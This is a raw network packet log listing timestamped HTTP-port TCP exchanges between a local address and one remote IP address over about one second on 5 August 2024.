Aug 5, 2024 11:59:36.992750883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992794037 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992846012 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992846012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992897034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992928982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992963076 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992990971 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993010998 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993014097 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993048906 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993081093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993099928 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993115902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993148088 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993161917 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993180990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993213892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993231058 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993249893 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993283987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993304014 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993316889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993350983 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993366957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993382931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993416071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993429899 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993576050 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993608952 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993633986 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993643999 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993694067 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993696928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993730068 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993763924 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993777990 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993801117 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993850946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993851900 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993884087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993917942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993932962 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.993951082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.993984938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994000912 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.994018078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994050980 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994066000 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.994282961 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994317055 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994338989 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.994369984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994401932 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994425058 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.994435072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994469881 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.994484901 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.035748005 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.315118074 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315162897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315244913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315244913 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.315284967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315339088 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.315357924 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315412045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315443039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315462112 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315476894 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315493107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315551996 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.315558910 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315577030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315608025 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315625906 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315663099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315680981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315699100 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.315741062 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316284895 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316328049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316375017 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316375971 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316426992 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316461086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316512108 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316529989 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316554070 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316566944 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316600084 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316616058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316653013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316692114 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316740036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316791058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316807032 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316823959 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316854000 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316867113 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316873074 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316931009 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.316936970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316955090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316988945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.316992998 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317034960 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317037106 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317123890 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317154884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317186117 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317207098 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317243099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317279100 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317286968 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317302942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317320108 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317389011 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317481041 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317528963 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317545891 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317562103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317584038 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317603111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317637920 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317648888 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.317655087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317672014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317687988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317704916 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.317753077 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.320820093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.320853949 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.320873022 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.320921898 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.320950031 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.320986986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321006060 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.321008921 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321057081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321078062 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321093082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321120024 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.321141005 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.321154118 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321171045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321203947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.321249008 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.363845110 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.666785002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.666893959 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.666968107 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.666973114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667026997 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667061090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667076111 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667094946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667144060 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667154074 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667176008 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667207956 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667229891 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667241096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667269945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667290926 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667303085 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667336941 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667356014 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667368889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667401075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667433023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667437077 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667465925 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667479038 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.667499065 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667536020 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.667551041 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668107033 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668158054 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668159962 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668200970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668246984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668247938 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668298006 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668329954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668345928 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668363094 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668395996 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668412924 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668446064 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668478966 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668488026 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668529987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668581009 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668585062 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668618917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668649912 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668669939 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668684959 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668736935 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668737888 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668807983 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668857098 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668858051 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668889999 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668924093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.668939114 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.668957949 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669004917 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669008970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669044018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669075012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669087887 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669125080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669157982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669176102 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669189930 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669236898 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669239998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669274092 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669306040 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669322014 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669338942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669372082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669395924 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669404984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669437885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669459105 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669470072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669512033 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669523001 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669545889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669593096 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669595957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669631004 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669681072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669682026 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669714928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669748068 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669768095 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669780970 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669812918 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669831991 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669846058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669878960 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669893026 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669912100 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669943094 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.669959068 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.669976950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.670008898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.670022011 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:37.670042992 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:37.670089960 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.013401985 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013545036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013597012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013648987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013681889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013714075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013716936 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.013787985 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013797045 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.013797045 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.013823986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013873100 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013890028 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.013909101 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013937950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013969898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.013977051 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014003992 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014035940 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014045954 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014069080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014101982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014126062 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014134884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014158010 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014168978 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014202118 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014236927 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014270067 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014271021 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014302015 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014303923 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014420033 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.014911890 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.014965057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015001059 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015048027 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015048981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015089035 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015110016 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015122890 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015156984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015186071 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015208006 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015239954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015271902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015275002 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015305042 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015337944 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015340090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015374899 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015407085 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015407085 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015444994 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015466928 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015479088 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015537977 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015568972 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015602112 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015650988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015661001 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015688896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015739918 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015755892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015810013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015842915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015868902 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015876055 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015914917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.015952110 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.015964985 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016000986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016021013 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016050100 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016103029 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016109943 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:38.016134024 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016168118 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:38.016201019 CEST	80	49762	27.221.16.179	192.168.2.5
